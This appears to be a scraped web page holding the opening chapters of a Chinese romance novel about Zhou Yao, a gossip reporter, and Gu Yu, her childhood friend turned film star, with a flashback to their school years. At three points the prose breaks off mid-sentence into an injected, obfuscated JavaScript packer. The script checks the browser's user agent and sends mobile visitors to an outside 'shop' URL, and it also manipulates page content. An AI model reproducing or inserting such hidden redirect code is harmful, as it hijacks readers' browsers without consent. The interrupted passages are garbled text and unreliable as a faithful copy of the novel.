《你怎么不追了[破镜重圆]》 1. 影帝VS狗仔 上半年的最后一天入夜,人们吃完晚饭正准备迎接夜生活时,网上突发爆炸性新闻,热搜榜上一连好几个“爆”。 【卧槽卧槽!内娱纠察队爆男爱豆黄X吸毒涉赌涉黄!】 【黄X不是昨天还在开演唱会,说是前排门票被炒到上万吗?!】 【下半年的第一天就这么猛吗?黄赌毒这就齐了?】 【艹了,我粉他整整三年,为他花的钱不下五位数,就这么回报我吗?!】 【楼上惊现韭菜精。】 【都这么锤了,他粉丝竟然还在帮他辟谣,不见棺材不落泪啊。】 【接一个蓝底白字大字报。】 【笑死,他粉丝还在说要支持他,陪他打赢这场仗,清醒点吧,下次看见他没准就在看守所啦!】 【牛啊,也没个预告直接就这么爆了?也没个战术后仰啥的?】 【楼上看清楚,这是‘内娱纠察队’,他家从来不接受公关的。】 【这么硬气?!有几条命在内娱混啊?!】 几条命?仅剩这一条命还吊着一口气呢。周窈抽空看了一眼微博上的评论,一边合上了笔记本电脑,随即将自己重重砸向椅背。36个小时没睡,终于把视频音频图片及各种证据整理好发布出去了,今天之后,内娱又会有一位流量明星从此查无此人。 和她轮换着休息的搭档小扬此时正半躺在面包车的驾驶座上,一边盯梢一边拿着手机刷微博。 “这家粉丝竟然说要告我们,开什么玩笑,要觉得不够锤的话,我这还有其他证据没放呢。唉……这年头,小姑娘们粉明星都不擦亮眼睛的,那么多年的青春和金钱都喂了狗了。” 闻言,周窈闭着眼睛回应:“可能她们粉上他的时候,还是个好人吧。”只是娱乐圈这个大染缸,浸久了人会变成什么样,谁都很难说。 “也是,谁让他碰上的是咱们周姐呢,号称内娱鬼见愁……啊不对,是内娱判官。” “得了吧。”周窈闭着眼有些疲惫地笑了笑,“我眯一会,你先盯着点。” “得嘞!放心吧您内!” 他们今天是来拍女演员卢灿灿的,前几天周窈接到圈内人的爆料,说卢灿灿婚内出轨,勾搭成瘾,但偏偏在国民面前她却始终扮演着一个好太太和好妈妈的角色,似与自己的丈夫伉俪情深。按照卢灿灿的国民度,若是这个事属实,可以预想,将掀起如何的波澜,比今天这位马上就要进局子的爱豆黄X只会有过之而无不及。恰逢她今天来海市担任金龙奖电影节的颁奖嘉宾,于是周窈就特地带着小扬到嘉宾下榻的酒店堵人来了。 然而周窈只睡了不到一小时,突然就被手机给震醒了,有些疲倦地点开手机一看,微博私信将她的通知栏塞得满满当当。 【大大,你倒是说句话呀!】 【我已经哭了半小时了,我们彧狐狸是不是被人利用了呀!】 【虽然今天的顾彧帅气依旧碾压裘景中,可是我真不想看到他输给裘景中啊!】 【大大你能联系上工作室,问问是什么情况吗?】 周窈一头雾水,正想着切出去看看什么情况,就听前面小扬嘟囔了一句:“我去,顾彧?” 听到这个名字,周窈心空了一拍,但还是装作随意地问道:“他怎么了?” “你看那是不是顾彧?他怎么会来?不是说不出席金龙奖吗?” 心跳不受控制地开始加速,周窈有些难以置信地朝车窗外望去,就见地下停车场通往酒店的入口边停着一辆奔驰商务,一名穿着衬衣西裤的高挑男人正扶着车门从车里下来。 瞬间,大脑嗡得一下,像是真空了一样。 确实,正是因为确认过顾彧不会出席这次的金龙奖,周窈才会放心地带着小扬来这堵人的。可谁来告诉她这人为什么此时又会出现在这里? 眼前的顾彧应是刚从活动现场过来,脸上还带着淡妆,标志的狐狸眼半垂着,黑发利落地梳向脑后,露出他蛊人的美人尖,修长的手指似不经意地搭在车门上,另一只手臂上则搭着一件西装外套,下车时裤脚边露出一小节白皙而骨节分明的脚踝,漆黑锃亮的皮鞋踩在水泥地上——“咔、哒”两声清脆的鞋跟声响像是灵活的指关节,敲在了周窈的心上。 她几乎是目不转睛地盯着不远处的男人,将他身上的每一条轮廓都与记忆中的那个他做对比,当意识到旧时的模具再也装不下眼前这个人的时候,不可抑制的酸涩与沮丧瞬间将她吞噬。 下车后,顾彧在车边稍站了一会,微微低头和边上的经纪人说了几句话,转身准备离开之时,他突然扭头朝周窈他们这边看来,眼神中带着些许审视与怀疑,似乎在疑惑为什么五星酒店的地下停车场里会有一辆不起眼的破旧金杯。 周窈被他这一眼吓得赶紧缩回了头,纵然知道车窗上都贴了膜,但心脏依旧因为过度紧张而砰砰直跳。 而盯了几眼并未发现有什么异常的顾彧则单手插兜,姿态闲适地独自离去,两分钟后,那辆奔驰商务也缓缓驶离了他们的视线,地下停车场再次恢复了寂静。 他应该没看见自己吧? 周窈缓缓坐起身子,长舒了一口气。 前排的小扬半点没注意到周窈的异状,他几乎眼睛一眨不眨地盯着顾彧离去的身影,少见地露出花痴的表情。纵然见过不少明星,此时也不免被顾彧惊艳:“百闻不如一见,顾老师真不愧是内娱颜霸。”感叹完,他突然一拍大腿:“诶,让我看下我的相机,刚刚应该抓到了,挑几张图发微博,顾老师流量可是很可观啊……” “不发。”小扬话音未落,就被周窈一口否决。 “为什么呀?”小扬惊诧地回头:“你说你不跟风发他那些黑料也就算了,怎么美图也不让发啊,顾老师可是顶流!人家刚在玉琮奖拿了影帝,号称千万死忠粉!咱们那娱乐号还在养号阶段,不蹭他的流量蹭谁的啊,你还记得咱们有KPI这件事吧?” 周窈扫了他一眼:“记得,但也不发。我之前就跟你说过,咱们的号禁发顾彧。” 小扬偏着头想了想,好像是有这么回事,但他一直也没搞懂其中原因。 “为什么啊?难不成你和顾彧有仇啊?他是你偶像的对家?你是他黑粉?” 对上小扬八卦的眼神,周窈伸手拍了他一下:“哪这么多为什么,盯梢呢!” “行行行,不问了还不行么?”说着,小扬转身继续盯着前方酒店入口,而周窈则心怀忐忑地打开微博仔细翻看起来。 果不其然,不过一个多小时,微博热搜排行榜早已风云变色,虽然第一位依旧是他们发的#人气偶像黄X黄赌毒,但后面整个榜单几乎被顾彧包圆了。 #顾彧给裘景中颁奖 #顾彧陪跑 #裘景中获金龙奖影帝 #裘景中赢了顾彧 #顾彧闪现金龙奖 #玉琮奖VS金龙奖 热搜虽多,都是负面。而顾彧的个人超话里,此时已经骂声一片了。 【工作室今天也死了吗?不是说好不出席金龙奖,怎么临时加了行程?!金龙奖偏商业片不是一天两天了,就算顾彧提名了,但《深渊》到底是一部小众文艺片,拿影帝根本就是不可能的事!他已经拿了玉琮奖影帝了,为什么还要上赶着去金龙奖陪跑败口碑!!!输给裘景中的样子很好看吗?!金龙奖还让他给裘景中颁奖!我真TM要恶心吐了!】 【要死,隔壁裘景中粉丝笑疯了,气死我了!】 【换我是裘景中粉丝我也要笑死啊!死对头竞争失败还给我颁奖,什么爽文情节啊!】 【金龙奖是要搞一个大新闻啊,这么消费我们玉琮影帝的吗?!踩着顾彧给裘景中抬咖是吧!啊?!啊?!】 【明摆着啊,玉琮小众冷门,偏圈内人孤芳自赏,含金量高但国民度低啊……影视行业,还是观众说话,观众不买账,你就是批发十个玉琮奖也没有用啊。】 【跪了,裘景中粉丝已经开始用票房踩顾彧了……】 【啊——工作室你欠我的用什么还!】 望着超话里的言论,周窈眉头皱起。 顾彧和裘景中,因为同期出道加上早期风格类似而成了对家,今年又各凭一部电影入围了金龙奖。本来看似是一决高下的局面,但偏偏金龙奖侧重商业性,而顾彧的这部《深渊》却是一部小众文艺片,还在侧重专业性的玉琮奖上摘得影帝,玉琮奖由圈内人主办,近年来隐隐有和金龙奖分庭抗礼之势,因着这层关系,金龙奖也不会将这个双料影帝颁给顾彧。 只是,没拿到影帝也就罢了,还让顾彧给获得金龙影帝的死对头裘景中颁奖,这就十分侮辱人了。当然,更重要的是,早在上周,周窈就得到内幕消息,金龙影帝已经内定裘景中了。在业内,这根本就不是什么秘密,所以顾彧这“说好了不出席却又临时出席还自动给金龙奖递刀子”的一番操作,周窈也着实没有看懂。 憋着一口气,周窈又点开自己的私信,果然已经爆仓,里面各种眼熟的不眼熟的小粉丝,哭着喊着让她出来说句话。 周窈眉头微皱,思虑良久,最终还是退出了个人账号。 其实小扬猜得也不算全错,她虽不是顾彧粉丝,却自他出道就开始关注他,这么多年更是在他粉丝圈里混成了颇具影响力的大粉了,但她和顾彧的关系,不是三两句就能解释得清的。 想起记忆中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460773|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那人吊儿郎当的样子,周窈往背后一靠。 看他刚刚那状态,似乎是半点都没有被网络上的舆论所影响。 也是,这人向来心大,但粉丝又何错之有?想到这,周窈不免更加来气,将手机往旁边座位上一扔,决定不去淌这趟浑水。 毕竟她也算不上顾彧粉丝,更不是他亲妈。 盯梢着实是份体力活,临近半夜,已经近乎两天没合眼的两人都有点熬不住了,就在周窈想着要不要去买杯咖啡提提神时,一辆保姆车缓缓驶进停车场,很快,包裹得严严实实的卢灿灿从车上下来。只是有些奇怪,这次她竟然是独自回来的,周窈获取到的信息里,那位最近常伴左右的小鲜肉不见踪影。 小扬也有点摸不着头脑:“卢女士这是,转性了?” “不可能。”周窈斩钉截铁,“她只要来海市,就一定会让人陪,没有例外。” “那今天怎么她一个人过来?难不成是目标有变动了,还是说对方已经在房里等她了?” 周窈略一思索:“我跟上去看看,她房号你查了吗?” “3306。” 等卢灿灿的工作人员离开之后,周窈便进入了酒店内部,可到了电梯间,她却突然犯了难——酒店电梯需要刷卡才能上啊,而且三十层以上的楼层是分梯到达。 想着是不是这几天连轴转,导致脑子都不好使了,竟然在这种事上疏忽了,周窈无奈只能来到前台,希望能开间房,却又被告知今天三十层以上的房间都被订出去了…… 虽然跟拍并非次次成功,跑空的情况比比皆是,但这次她可是为了卢灿灿特地从京市飞到海市的。算了算差旅成本,周窈着实是不甘心,于是她转身回到电梯间,看有没有哪位好心人能帮她刷一下三十三层,蹭个电梯。 只是,三十层以上似乎都已经被这次金龙奖节目组包了,除了艺人就是艺人团队,而这个时间点,这些人几乎不会下楼溜达,是以周窈在电梯口等了半个多小时,也没见到有人使用通往三十层的这台电梯。 就在她想要另寻他法时,突闻“叮”的一声,眼角余光中,通往三十层的电梯门缓缓打开。周窈猛一抬头,就见面前有一位高个男人正往电梯里走,来不及多思考,周窈一个箭步上前大喊了一声:“等一下!” 男人按向关门键的手顿时停住了,微不可查地愣了一下之后,稍稍侧身让周窈进来。 “几楼?” 清冷的声音在周窈头顶炸起,她头都没敢抬,脖子像是有千斤重一样梗在哪里,复杂的情绪瞬间将她团团包裹,不自主地令她心生退意。然而此时在想要退出电梯已经太晚,她便只能尽量低着头往里走,站到男人身后,然后像是鼓起勇气一般,抬头看了一眼男人的背影。 这人戴着鸭舌帽,看不清脸,身上只穿简单的白T和牛仔裤,但她还是能一眼就认出眼前人的身份。 是顾彧。 “几楼?”顾彧没听见回答,便又沉着声音重复问了一遍。 “三十三楼,谢谢。” 此时周窈已经顾不得自己声音是否在发抖了,她尽量贴向墙壁,低头祈祷三十三楼快到到达,也希望顾彧没有认出自己。同时,她也注意到,顾彧在按下三十三楼之后,并未按下其他楼层,难不成他恰好也到三十三楼? 一股无处可逃的绝望感油然而生。 可这毕竟也是她时隔八年后第一次那么近距离地看到他,像是被蛊惑了一般,周窈不由自主地再度抬头望向眼前人的背影。 他比以前高了一些,肩膀也宽了不少,微低着头,双手插兜,是熟悉的痞气,身上除了香水味还有淡淡烟草味。 他……开始抽烟了吗? 狭小的空间里没人说话,只听到电梯运行的轻微声响和自己明显变快的心跳。电梯上升速度很快,让耳压有些微的不舒服,但此时周窈只希望楼层跳动的速度能再快一点,她甚至早已准备好在电梯门打开的那一瞬间迅速地跑出去。 “叮!”焦急的等待中,电梯终于到层。 尚未打开的电梯门光滑如镜,映着周窈装作淡定实际急切的脸庞,也映着男人的身影,只是他自刚才起就一直低着头,黑色的帽檐遮住了他的大半张脸,让人看不真切。但就在电梯门即将打开的那一霎,他突然抬起头,缓缓露出帽檐的下的那双眼睛。 周窈猝不及防,与他在镜中对视。 细长的狐狸眼,眼尾微微上挑,曾无数次出现在她的梦里。 周窈的呼吸一窒,电梯门应声而开的刹那,她低着头试图绕过男人迅速离开。可前脚刚踏出电梯,就听身后的人说道。 “八年没见,连个招呼都不打就走吗,周条条?” 2. 八年前 暑假,距离开学还有三天。午后刚下过一场雷雨,但天气依旧闷热潮湿。 正在午睡的周窈被隔壁一阵叮叮乓乓的声音吵醒,有些不耐烦地摸过手机看了一眼,已经下午两点半了,而她的□□显示,有99+条未读消息。 躺在床上稍微醒了醒神,周窈猛一翻身从床上坐起,打开企鹅,几乎所有消息都来自于一个名为“不要坏了规矩”的群,里面来自不同人的上百条@她的留言,都在传达一个中心意思。 【阿周!我的葛朗台·周!暑假作业好了没啊?!多少钱你开个价,我买!】 生意上门。 周窈轻扯嘴角,随后半点没耽搁,对着桌子上她早已打印好的厚厚一叠答案拍了张照发到群里。 【不是葛朗台是世界首富:[图片]】 【不是葛朗台是世界首富:半小时后学校后门集合,单科五块钱一份,全科打包价二十,先到先得。】 【不是葛朗台是世界首富:(高亮)一人交钱一人享用,不要坏了规矩。】 【蒋蒋蒋蒋:嗷!我的周啊你终于出现了!等我!我马上向你飞奔而去!】 发完消息,周窈简单地去卫生间洗了把脸,又换下了睡衣,将答案塞进书包之后就准备出门。临出门前打算和妈妈说一声,却发现妈妈陈娟的手机在桌上放着,人却不在房里,空荡荡的客厅,只在阳台窗沿上突兀地晒着一双男士拖鞋。 周窈盯着那双拖鞋看了一会,脸色有些不太好看,然后当做什么都没看见一样,写了张便签醒目地贴在了冰箱上后,就骑着自行车出门了。 周窈就读的是市一中,是舟市排名第一的重点高中,开学读高二。舟市是个小地方,从她家骑车到学校也不过就十五分钟而已,等她到了一中后门,就看见那里已经零零星星等了好几位同学了。 隔老远,蒋煜看见周窈那辆浑身上下叮铃作响的紫红色老式女士自行车就拼命挥手。 “阿周!你可算来了!可有把我的续命法宝一并带来吗?!” “嘘!轻点,别嚷嚷。” 周窈停下车,利落地将书包架在车篮上,掏出那一沓早已打印成册的答案,然后又掏出一张塑封好了的收款二维码放在最上面。 “老规矩,人手一份,交钱拿货,每一份的错题都不一样,上游拿A版,中游拿B版,下游拿C版。” “牛啊,不亏是专业的!” 蒋煜扫码付了钱,偷偷摸摸将手伸向A版,却被周窈一把拍开。 “不想活啦?史芬的眼睛毒得很,一眼就能看出不是你自己做的。” 蒋煜委屈巴巴:“有什么区别啊,我就是老老实实拿C版,史芬也不会相信是我自己做的啊。” 周窈可不管,直接塞了一份C版答案到他手里,随即招呼起别的人来。 今天可着实来了不少人,除了他们九班自己,还有零散的八班、十班的,基本都是老带新,有些她脸熟,有些根本不认识。对此周窈自然是不会抗拒,开门做生意,谁会希望自己永远只有这点固定客源?只要大家守规矩,人手一份不外传,她巴不得自己的生意做得更大点,这样她起码下个月的伙食费和教材费就都有了着落。 没一会的功夫,手上这些答案就卖得七七八八的了,此时“规矩”群里还有人在赶来的路上,周窈便在原地等他们一会。而已经买了答案笃笃定定的蒋煜等人也没着急走,难得这么多人聚在一起,干脆站在原地聊起天来。 这几天可是有大瓜的,因为高二文理分班的安排下来了。 “十三和十四拆班了,变文科班了。” “那顾彧呢?他不就是十三班的吗?岂不是要转去别的班了?” “应该吧,他总不可能学文吧,年级第一诶。” “年级第一不该去一班二班吗?这俩是理科实验班啊……” “不知道,说是灭绝师太早就找过他了,但他拒绝转班。” “说起来,他高一入学那会,没参加分班考试吗?怎么会落到十三班去啊?” “好像说他本来要去海市读书的,后来没去成,就错过分班考试了。” “求求别来我们班,我们班女生本来就不多,他一来,所有男生集体没戏……” “得了吧,他不来你们班那些女生也看不上你们啊。” 对于这些八卦周窈向来是一只耳朵进一只耳朵出,但此时她着实也等得有些不耐烦了,天热,三十多度的高温炙烤下在户外站半个多小时,换谁心情都好不起来,好在剩下的几个人很快就到了,她今天的生意也即将完美收官。 但,不出意外的话,就要出意外了。 “干什么呢你们!”一声高亢的女高音打断了此次交易。 几人吓得一激灵,回头就见班主任史芬正推着自行车从学校后门出来,将他们直接抓了个现形。 “卧槽!史芬怎么来了?!” 班主任史芬大约三十多岁,圆圆脸,戴着同样圆边框的眼镜,看上去很和气,但九班这些皮猴可是清楚地知道,史芬有多不好惹。 史芬怀疑的眼神在这一群人身上扫了一圈,随即再次抬高了声调:“你们聚在这里干嘛?” 蒋煜等几名男生互相对视,结结巴巴道:“我,我们……我们想念课堂气氛,来学校感受一下!” “就瞎掰吧你们!”隔着厚厚的眼镜片,史芬的眼里满满的不信任都快溢出来了,但好歹是公众场合,她也没法发飙,只扭头略带几分尴尬地对身边的人说道:“也是我们班的学生,你可以提前认识一下。” 众人这才注意到她身边还跟着一个男生。男生个子高挑,穿着一件亮粉色短袖T恤配一条松松垮垮的浅青色牛仔裤,要笑不笑的细长狐狸眼朝他们这边看来,眼神里满是玩味。 周窈扫了一眼,暗道了一声:骚包。 几名男生朝那名粉T恤看了几眼,小声嘀咕:“顾彧怎么跟史芬在一起啊?他不会是要转到我们九班吧?” 史芬眼睛一瞪:“又瞎念叨什么啊?暑假作业做完了没?” 男生们尴尬地交换了一个眼神:老师你猜我们此时聚集在这里是为了什么?难不成是为了庆祝即将到来的开学吗? 但嘴上依旧老老实实回答:“都做完了老师!” “抄完了吧?”史芬看穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460774|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一切。 “没有没有没有!”几名男生立即否认。 “得了吧,你们不脱裤子我都知道你们要放什么屁。读书是给老师还是给爸妈读的吗?这次暑假作业压根就不多,等高二一毕业上了高三,每天的卷子能把你们压死!现在多做一点就是为了以后能节省点时间……还有你,周窈,虽然上学期末你考了班级第一,但是年纪段前五十都没进,和一班二班那种尖子生的差距还很大,这样是考不进重点的。多花心思在学习上面,别老搞这些歪门邪道的东西。” 周窈愣了一下,她也不明白自己只是站在这当个背景板,也能被史芬Cue到。 “知道了,史老师……” “行了行了,都散了吧,作业自己做,听到了没?!” “听到了……” 训完,史芬和边上的顾彧打了声招呼后率先骑上自行车走了。她走了之后,顾彧眼神若有似无地向这里瞟了一眼,随后也转身离开取车去了,剩下的人则自动围到了周窈身边。 “诶诶,周窈,你有没有什么消息啊?顾彧是不是要转到我们班啊?” “我怎么会知道?刚刚史芬在这你们怎么不问她?”周窈莫名其妙挨了顿训,心情更加不好,此时正拿着她的塑封二维码扇风。 “那不是不敢嘛……” “顾彧不是也没走,你们直接问呗。” “那更不敢了,不熟……” “装什么i人。”周窈无情耻笑。 数了数手里还剩下的几份答案,周窈扬声道:“还有人要答案吗?没有的话我走了啊。”若不是刚刚史芬出来吓跑了几个人,她今天的答案应该是能全卖光的。 啧,这几份打印要五块钱呢。 赔了五块钱让周窈心情大为不爽,又问了一圈确定没有人需要答案了之后,她黑着脸骑上自行车准备打道回府。拐弯时向后方观察,就发现顾彧骑着他那辆一看就很贵的山地车一路慢悠悠地跟在她身后,那身粉色T恤格外扎眼。 他跟来干嘛?总不至于也要问自己买答案吧? 不自主地,周窈脚下蹬得更快了,满脑子想的都是把对方甩掉。然而她这辆从头到脚没有一处不响的“老爷车”又哪里比得过对方的高级山地车呢?就算她脚下生风,这距离也依旧没能拉开。甚至当她拐进小区门里的时候,顾彧的前车轮都出现在她的视线里了。 这可不能忍。 周窈弓起身子,使出吃奶的力气做最后冲刺,即将抵达家楼下的时候,还差点和刚从隔壁门洞里出来的自家妈妈陈娟撞上,周窈一个急刹车,吓得陈娟差点摔了手里的东西。 “哎哟你在小区里骑这么快干嘛?!” “没,没干嘛,着急回家……你怎么从那里出来?” “哦,我……”陈娟刚要解释,就看见周窈身后跟着的人,突然笑开了。“我说刚才回家不见你人呢,原来你去找小彧了啊!” 小彧…… 周窈撇了撇嘴,回头就见穿着粉T恤的顾彧坐在他潇洒帅气的高级山地车上,长腿支着地,狐狸眼微微眯起,笑得痞气而张扬。 “跑什么啊,周条条。” 3. 周条条 “别叫我这个名字。” 周窈这个小名没几个人知道,本来是窈窕的窕,后来为了长个,陈娟给改成了长条的条,但期许是美好的,现实是残酷的,周窈的身高最终止步于159.5cm。 因着心里还惦记着损失的五块钱,周窈也懒得搭理顾彧,黑着脸将车停好,绕开他回了家,上楼时还不忘接过陈娟手里的东西——水桶拖把之类的。 “我起来看你不在家里,给你留了字条,你看见了吗?” “没呢。”陈娟抹了把额头上被汗水打湿的碎发,“小彧要搬过来住,我去帮他打扫房子去了。他奶奶走后,这个房子已经三四年没人住了,脏得很。” 周窈掏钥匙开门,她家住一楼,迈几节台阶就到了。听陈娟这么说,她不禁拔高了音调:“他干嘛要过来住?他家不是在芙蓉湾有栋大别墅?” 老天爷,她才清静几年啊,这祸害怎么就又要回来了! “他爸爸妈妈都去海市了,芙蓉湾的别墅也卖了,说是要在海市买房子。” “那他怎么不去海市?” “这我哪知道?你不如直接问他……诶,小彧进来啊,你奶奶家还是通通风再进去,晚饭就在我们家吃。” 周窈进门刚放下书包,抬头就见顾彧倚在门边,一脸痞笑地望着自己。 “就是,你还不如直接问我呢。”说完,他自来熟一般换了拖鞋进来,挨着周窈说道,“好歹我也算是你的青梅竹马,怎么看到我这么冷淡,在学校里不跟我打招呼也就算了,在家里怎么也不搭理我?” 周窈一把推开他的脸,表情是说不出的烦躁,平心而论顾彧这张脸,用伟大来形容也不为过,不管把他放在哪个人堆里,都是最好看的那个,电视里那些长得好看的演员,对比顾彧也不过如此。 但再漂亮的皮囊,换谁从小看到大,也会看腻的。 “鬼跟你青梅竹马。”周窈翻了个白眼。 “有叫周条条的鬼吗?”顾彧立马又黏了上去。 周窈立即警惕,迅速侧了下身体防止顾彧靠近:“离我远点。” 对于周窈突如其来的疏离,顾彧一秒愣神,但很快又扁嘴委屈道:“跟新同学打声招呼而已,你躲什么。” 不好的预感从天而降,周窈顿时明白顾彧这是真的要转到她们班了,她有些绝望地闭了闭眼睛:“以后在班级里别跟我说话,别说你认识我。”说完,便拎着书包回房了,而顾彧则顿了一下,愣在原地。 一直在厨房忙活的陈娟经过:“你们自己玩会啊,我出去买个菜。” 关门声响起时,周窈已经收拾好东西坐在桌边开始刷题了,而顾彧也逐渐回神,搬了根凳子进屋挨着她坐下,一副打破砂锅问到底的架势:“为什么不能和你说话啊……” 周窈拧着眉头:“没为什么。” 纵然没得到答案,但顾彧似乎也终于认识到自己被嫌弃的事实,他收起刚刚的逗弄心思,转而认真地盯着周窈看,仿佛不明白身为校草兼学霸的自己,为何会遭到周窈的嫌弃。周窈被他看得有些发毛,直接伸手捂住了他的眼睛。 “死狐狸,看什么看。” 顾彧抓着她的手腕将她的手挪开,倒也不恼,转而起身开始在房间里转悠,顺便扯开话题。 “怎么没看见你爸?” 周窈太阳穴跳了跳:“死了。” “没看见遗照啊。” “死外面了。” “那你妈呢?还在给别人家当保姆吗?” 周窈忍无可忍,将笔啪得往桌上一拍:“托你妈的福,我妈现在你妈曾经就职的医院里当护工。顾彧你有完没完了,你怎么不跟你爸妈一起去海市?” 身后踢踢踏踏的拖鞋声响起,随即身边又贴过来一个热源。 舟市一中的公认的校草,男生眼里的帅哥女生心中的理想型顾彧,此时正像个大型宠物一般贴着周窈,下巴搁在周窈的颈窝处,像是撒娇一般说道:“我怎么忍心让周条条独自面对残酷的高考呢?” 小时候他们经常如此,更小的时候甚至同一张床上也躺过,但现在毕竟不是小时候了。周窈猛地一抬肩膀,甩开顾彧的下巴:“随便你在哪高考,反正别说你认识我就行了。” “为什么啊……”顾彧摸着下巴,委屈巴巴地追问,漂亮的狐狸眼里仿佛下一秒就要蓄起水汽。 “因为你会给我惹麻烦。” “我是什么麻烦制造机吗?” 周窈扭头看他,眼身笃定:“你是。” 开门声响起,周窈起身去帮陈娟拿东□□自坐在房间里的顾彧则看着她的背影,收起一脸委屈,一声呢喃飘荡在空气里。 “周条条怎么能不理我呢?” 厨房里,趁着顾彧不在,周窈一边帮陈娟摘菜,一边问她:“顾彧家怎么找你去打扫卫生?” 陈娟神秘兮兮地笑了两声:“小彧妈妈给了我一千块钱,让我帮忙找保洁的,我心想这种活谁做不是做啊,就去帮他打扫了。” 果然。 周窈了然地撇撇嘴:“你也真是的,昨天夜班,上午十一点才回家,睡了一个小时就去给他家打扫卫生,不嫌累。” “赚钱哪有嫌累的?” “赚的钱也不是咱们的。”周窈话说一半就没再说下去,转而帮陈娟去洗水果。 因着顾彧今天在她家吃饭,菜色是媲美过年一般的丰盛,陈娟甚至还买了一小盒车厘子!周窈长这么大都没吃过这东西! “你还买了车厘子?!这东西那么贵你也舍得买?!”几十块这么一小盒,还不如把钱给她买参考书呢! “呿,小声点,嚷嚷什么?”陈娟白了周窈一眼,探头看了眼依旧在周窈房间里坐着的顾彧,这才又扭头认真地和周窈说道,“我都打听过了,他妈妈这次调去海市的医院做副院长了,他爸爸是大学教授,带好多学生,咱们跟他们家搞好关系总没错,你看我工作不还是人家妈妈介绍的吗?你说你,明明是一起长大的,对小彧也客气点……” “他妈妈是给你介绍工作又不是给我,我客气什么?”周窈冷声回应道。 “你怎么还说不听了,总之你跟顾彧好好相处,没坏处。” 又忙乎了将近两个小时,这顿大餐终于完成。顾彧端坐在桌边,礼貌地道谢,而周窈则翻了翻眼睛心想这狐狸真能装:“托你的福,后面一个月我们家要吃糠咽菜了。” 陈娟闻言立即给了周窈一筷子:“说什么呢。来,小彧,吃块排骨,炖了一个多小时。” “谢谢阿姨。” 望着眼前玉树芝兰的顾彧,陈娟也免不了感叹:“说起来也三四年没见了,你奶奶去世之后,你们就不往这来了,原本还以为你们会把这房子卖掉呢,没想到这会又住进来了。” 顾彧笑了笑:“是我吵着不让卖的,卖了就好像奶奶真的走了。” “对,对。”陈娟笑着附和,“你是你奶奶带大,和奶奶最亲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460775|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “嗯。”顾彧点点头,模样乖巧。 这幅样子周窈可太熟悉了,小时候顾彧就是靠这在周围邻居家里骗吃骗喝,在学校里同样也骗得老师和同学的喜爱。 望着如今已经如青葱般长大的顾彧,陈娟也不免回想起从前:“一晃你都这么大了,今天要不是你跟着条条一起回来,我都差点没认出来,你奶奶走了之后,也三四年没见你了。” 听她提起自己奶奶,顾彧眼神也柔和了许多:“奶奶走的那会,还好有你们帮我,不然我一个人都不知道怎么办。” 提起那晚的兵荒马乱,周窈也是印象颇深。那时因为顾彧奶奶身体不好,生活上诸多不便,顾彧爸爸就就近找了陈娟去给他奶奶做保姆,照顾老人起居。一直以来,老人的情况也算稳定,但谁也没想到,就在那么一个寻常的夜里,老人一躺下就没再起来。 那时顾彧也才小学刚毕业,还是个孩子,他爸妈当时都在外地赶不回来,后事几乎都是陈娟帮着办的,之后最难过的那几天,也都是周窈陪着,直到他父母回来。 现在回想起来,顾彧依旧觉得那晚他仿佛身处地狱,但还好有周窈寸步不离地陪着他安慰他,替他隔绝了许多外界嘈杂的声音,像是他的守护神。 而此时他的守护神正在龇牙咧嘴啃排骨,她妈为了省钱没舍得全买肋排,好肉又都落到了顾彧碗里,她碗里这块骨头又大又难啃。 陈娟看了看斯文帅气的顾彧,又横了一眼龇牙咧嘴的周窈:“看看你,吃没个吃相,你看人家小彧多斯文。小彧来,再吃一块排骨。”周窈看了一眼落在顾彧碗里全是肉的肋排没说话,继续低头啃自己碗里的那块,却没想到下一秒,这块肋排却落在了自己的碗里。 周窈有些惊讶地抬头看了一眼,就见顾彧朝她轻轻眨了下眼睛:“开学就是同班同学了,还得靠条条照顾我。” 陈娟闻言十分惊喜:“这么巧啊?怎么突然换班了呢?” 顾彧也不奇怪为什么陈娟不知道高二分班的事,毕竟周窈她们班也没拆,只当是周窈没跟陈娟说:“我们班拆做文科班了,我学理,就转去和条条一个班了。” “那条条你以后得好好照顾小彧啊,人家小彧人生地不熟的……” 周窈不置可否地撇撇嘴,夹起那块肋排塞进嘴里。 想用一块排骨就收买她?没门! 吃完饭后,顾彧也没多待,他礼貌应下了陈娟再来吃饭的邀请,准备要走,刚走到门边却又停住了。 此时周窈正抱着车厘子吃得开心,顾彧没吃,那不就正好便宜她了。 见顾彧说走还没走,她疑惑地抬了抬眉毛。 “你开学那天几点出门?” 这是要约她一起上学?想都别想。 “看心情,反正你遇不上。” 